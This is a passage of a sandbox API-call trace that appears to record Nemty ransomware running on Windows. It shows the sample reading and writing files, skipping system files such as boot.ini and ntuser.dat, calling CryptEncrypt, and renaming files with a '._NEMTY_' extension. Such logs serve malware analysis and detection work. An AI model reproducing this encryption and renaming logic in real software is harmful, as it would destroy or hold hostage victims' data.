lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.316] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.316] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.316] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.325] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.325] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.325] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.334] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.334] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.334] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.343] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.343] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.343] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.353] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.353] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.353] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.362] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.362] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.362] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.371] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.371] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.371] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.380] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.380] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.381] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.381] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.390] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.390] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.390] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.399] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.399] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.399] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.405] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.405] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.405] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.411] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.411] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.411] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0159.411] CloseHandle (hObject=0xffffffff) returned 0 [0159.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0159.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0159.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0159.411] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0159.411] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0159.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0159.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340468 [0159.412] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x11e) returned 0x6343fe8 [0159.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0159.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0159.412] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_over_BIDI.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_over_bidi.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_over_BIDI.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_over_bidi.png._nemty_kgobjgd_")) returned 0 [0159.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0159.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0159.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0159.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0159.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0159.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0159.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0159.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0159.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0159.412] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.412] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x875e4f86, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x875e4f86, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2afa01f7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd68, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="btn_search_up.png", cAlternateFileName="")) returned 1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2=".") returned 1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2="..") returned 1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2="...") returned 1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2="windows") returned -1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2="$RECYCLE.BIN") returned 1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2="rsa") returned -1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2="NTDETECT.COM") returned -1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2="ntldr") returned -1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2="MSDOS.SYS") returned -1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2="IO.SYS") returned -1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2="boot.ini") returned 1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2="boot.ini") returned 1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2="AUTOEXEC.BAT") returned 1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2="ntuser.dat") returned -1 [0159.412] lstrcmpiW (lpString1="btn_search_up.png", lpString2="desktop.ini") returned -1 [0159.413] lstrcmpiW (lpString1="btn_search_up.png", lpString2="CONFIG.SYS") returned -1 [0159.413] lstrcmpiW (lpString1="btn_search_up.png", lpString2="RECYCLER") returned -1 [0159.413] lstrcmpiW (lpString1="btn_search_up.png", lpString2="BOOTSECT.BAK") returned 1 [0159.413] lstrcmpiW (lpString1="btn_search_up.png", lpString2="bootmgr") returned 1 [0159.413] lstrcmpiW (lpString1="btn_search_up.png", lpString2="programdata") returned -1 [0159.413] lstrcmpiW (lpString1="btn_search_up.png", lpString2="appdata") returned 1 [0159.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0159.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_up.png", lpUsedDefaultChar=0x0) returned 17 [0159.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0159.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0159.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_up.png", lpUsedDefaultChar=0x0) returned 17 [0159.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0159.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0159.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0159.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0159.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_up.png", lpUsedDefaultChar=0x0) returned 17 [0159.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0159.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0159.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0159.413] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="btn_search_up.png", cchWideChar=17, lpMultiByteStr=0x4f9ed58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="btn_search_up.png", lpUsedDefaultChar=0x0) returned 17 [0159.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0159.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0159.413] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0159.413] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0159.413] Sleep (dwMilliseconds=0x5) [0159.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x12aa47d0, dwHighDateTime=0x1d561e8)) [0159.417] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x12aa47d0, dwHighDateTime=0x1d561e8)) [0159.417] GetLastError () returned 0x5 [0159.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0159.417] GetLastError () returned 0x5 [0159.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0159.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0159.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0159.417] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0159.417] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0159.417] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0159.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0159.417] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="IXHcycPgogT4ki1gTBwrMkDA7qLRICqJ0KurgvdJxuMmDsYVga56ZV8oLqEfID8q\r\nT7fQ2Ni/ssREvX8R1Hf3L2kYuL6Jo3tDfwF76XKalKaH965I63LZiBaHJCe7jXD9\r\nVcYiL/WLDfkchB9mKYVNIUdVvgVTaYTsuu+0s0zZKcpCZH80k4zS4di8p7djVDaT\r\nfXPlKI5HhEjPvhlspYFxg/3u4h739x3aatGKhHN2+1F/QWZUhJgaEtJpcHd+SYzO\r\nTFybRx5lGSLek9JLqJWLtrbC6fqAzPecBOMm3pGP60Va0O82E90ts1m7Vr16Id+P\r\nbCPv8yZr7ttM5bivHhvwsQ==\r\n", pcchString=0x653e91c) returned 1 [0159.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0159.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0159.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0159.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0159.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0159.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0159.417] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\btn_search_up.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\btn_search_up.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0159.418] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0159.418] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0159.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.437] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.437] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0159.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.446] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0159.446] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0159.446] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | 